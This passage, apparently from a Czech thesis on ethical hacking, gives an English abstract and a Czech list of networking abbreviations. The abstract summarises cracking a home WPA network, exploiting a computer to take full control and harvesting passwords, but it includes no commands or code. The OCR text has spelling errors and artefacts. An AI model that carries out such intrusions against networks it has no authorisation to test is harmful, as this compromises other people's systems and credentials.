information systems. Hacking tools and processes are evolving increasengly, as well as the
technology used, therefore the penetration tests done by professionals should periodically

repeated, and thus maintain a high standard of safety.

In the theoretical part of the thesis, i tried to clarify the reasons why is important
companies should started to perform ethical hacking of computer networks and
information systems. | also decribed penetration testing, its types and phases, existing
kriteria for successful completion and what could be its subject. Application penetration
testing methodology developer by security organizations was also mentioned. You can also
find the definition of information, information systems as well as description of tools and
techniques used by hackers to attack computer systems, networks and applications. At the
end of the theoretical part | mentioned statistics of web application vulnerabilities made by

organization WASC.

The purpose of the practical part penetration into home wireless network secured with
WPA then to conduct a survey after successful penetration of the network in order to find
an potentially vulnerable computers, confirm this vulnerability and attempt to use it for
exploitation this target leading to its full control and find out passwords used for internet
services. All mentioned goals were sucessfully met, using special BackTrack 4 r2 Linux
distribution. All my steps was summarized to detailed instructions containing also basic
countermeasures. Finally penetration test of Faculty of Applied Informatics webside was

performed succesfully, because two vulnerabilities cannot be used for exploitation.

I had no deep knowledge of computer hacking before working on this thesis. | felt safe as
on internet as home network. But all achivements reached in this thesis open my mind. |
hope readers will begin take care more of their cybenetic security after reading this thesis

because real attackers never sleeps.
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SEZNAM POUZITYCH SYMBOLU A ZKRATEK

ADSL

ARIN

ARP

CAM tabulka
CRC soucet
DC++

DHCP

DNS

HTML

HTTP

HTTPS

ICMP

ICQ

IP adresa

IRC

MAC adresa

NetBIOS

Asymmetric Digital Subscriber Line — druh pfipojeni k internetu

American Registry for Internet Numbers — regionalni registrator IP

adres pro Ameriku a ¢ast Afriky.

Address Resolution Protocol — protokol k ziskani MAC adresy
Content Addressable Memory table — specialni rychla pamét’
Cyklicky redundantni soucet

Direct Connect — klient pro peer-to-peer sdileni soubort

Dynamic Host Configuration Protocol — protokol pro automatické

pridélovani IP adres

Domain Name Systém - systém piekladu doménovych jmen na IP

adresy a zpct

Hyper Text Markup Language — znackovaci jazyk vytvaieni www

stranek

Hypertext Transfer Protocol - protokol uréeny pro vyménu

hypertextovych dokumentt

Hypertext Transfer Protocol Secure - nadstavba sitového protokolu
HTTP

Internet Control Message Protocol — internetovy protokol pro

odesilani chybovych zprav.

| Seek You — softwer pro instant messaging

Cislo, které jednozna¢né identifikuje sitové rozhrani v poéitadové
siti

Internet Relay Chat — protokol pro komunikaci v realném case

Media Access Control — MAC adresa je jedine¢ny identifikator
sitového zafizeni.

Network Basic Input Output System — softwarové rozhrani pro

zptistupnéni dat ulozenych na vzdalenych pocitacich.
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RIPE

SNMP

SQL

TCP/IP

WPA

Réseaux IP Européens — regionalni registrator IP adres pro Evropu,

Stredni vychod a ¢ast Asie, Afriky.

Simple Network Management Protocol — protokol slouZzici pro

potieby spravy siti.

Structured Query Language - jazyk pouzivany pro praci s daty v

relac¢nich databazich
Hlavni protokol celosvétové sité Internet

Wi-Fi Protected Access - chranény piistup k Wi-Fi
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